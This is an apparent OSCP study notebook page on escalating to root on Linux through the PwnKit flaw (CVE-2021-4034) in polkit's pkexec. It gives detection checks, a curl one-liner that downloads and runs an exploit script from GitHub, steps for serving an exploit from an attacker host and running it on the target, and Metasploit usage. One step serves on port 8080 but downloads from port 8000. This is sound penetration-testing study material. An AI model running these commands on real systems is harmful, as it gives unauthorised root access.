Pearson's OSCP Notebook

pkexec - CVE-2021-4034 PwnKit

Properties1
tagspkexec, cve-2021-4034, pwnkit, polkit, privesc, linux, suid, gconv, oscp

3 min read

pkexec — CVE-2021-4034 (PwnKit)

Ctrl+F: pkexec · CVE-2021-4034 · PwnKit · polkit · GCONV_PATH

PwnKit — memory corruption in polkit’s pkexec (SUID). Unprivileged local user → root. Affects most Linux distros with vulnerable polkit (2021–2022 boxes common on labs).

Not a kernel exploit — it’s userspace polkit. LinPEAS / LES often flag pkexec.

→ Linux > 📌 9) Kernel Exploits · linux-exploit-suggester · Baron Samedit - CVE-2021-3156 (sudo heap — different bug)

📌 When to try

SignalCheck
pkexec exists + SUIDls -la /usr/bin/pkexec → -rwsr-xr-x
LinPEAS / LESCVE-2021-4034 · PwnKit
which pkexec/usr/bin/pkexec
Stuck after sudo/SUID/cronLast-resort local exploit
ls -la /usr/bin/pkexec
find / -name pkexec 2>/dev/null
pkexec --version

Affected (examples): polkit before fix (~Jan 2022) — Ubuntu 20.04/21.10, Debian, RHEL/CentOS, Fedora, etc. Always verify in lab; patched on current Kali/target updates.

📌 Exploit — ly4k PwnKit (one-liner)

Repo: ly4k/PwnKit

Auto-downloads and runs the exploit — fastest when target has outbound HTTP:

sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"

Requires on target: curl or wget, gcc, SUID pkexec, writable compile dir (usually /tmp).

id
# uid=0(root) gid=0(root) groups=0(root)

Manual clone if the one-liner is blocked:

git clone https://github.com/ly4k/PwnKit.git
cd PwnKit
./PwnKit.sh

→ File Transfer · Curl

📌 Exploit — zcrosman script

Repo: zcrosman/cve-2021-4034 · raw script: cve-2021-4034.sh

Requires on target: gcc, pkexec, writable /tmp (or cwd)

Kali — download

wget https://raw.githubusercontent.com/zcrosman/cve-2021-4034/main/cve-2021-4034.sh
# or
curl -LO https://raw.githubusercontent.com/zcrosman/cve-2021-4034/main/cve-2021-4034.sh

Transfer → target → run

# Kali serve
python3 -m http.server 8080
 
# Target
cd /tmp
curl http://192.168.45.168:8000/cve-2021-4034.sh -o cve-2021-4034.sh
chmod +x cve-2021-4034.sh
./cve-2021-4034.sh

Script flow:

  1. Writes C PoC to /tmp/cve-2021-4034-poc.c
  2. gcc compiles it
  3. Abuses GCONV_PATH + pkexec → root /bin/sh
id
# uid=0(root) gid=0(root) groups=0(root)

→ File Transfer · Shell stabilize after root

📌 Manual / alternative PoCs

# searchsploit
searchsploit CVE-2021-4034
searchsploit -m linux/local/51789   # example — verify number on your Kali
 
# LES workflow
./linux-exploit-suggester.sh -f uname.txt -s CVE-2021-4034

📌 Metasploit

use exploit/linux/local/cve_2021_4034_pwnkit
set SESSION 1
run

→ Post-Exploitation

📌 Troubleshooting

ProblemFix
gcc: command not foundTry precompiled PoC from searchsploit; or static compile on Kali and transfer binary
Exploit runs, no rootTarget patched — try other privesc vectors
/tmp noexecRun from writable dir with exec allowed
Shell dies immediatelypython3 -c 'import pty; pty.spawn("/bin/bash")' after root

📌 Quick cheat sheet

# Detect
ls -la /usr/bin/pkexec
 
# Exploit
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
# or zcrosman:
curl http://KALI:8080/cve-2021-4034.sh -o /tmp/pwn.sh && chmod +x /tmp/pwn.sh && /tmp/pwn.sh
 
# Verify
id
whoami

📌 Alias check (Linux/bash)

alias
alias | grep -iE 'sudo|root|pass|su |chmod'

Shell aliases may expose sudo shortcuts, paths to SUID binaries, or commands run as root — run on every Linux privesc pass.

→ Linux > 📌 1) Basic Manual Enumeration

Graph View

Backlinks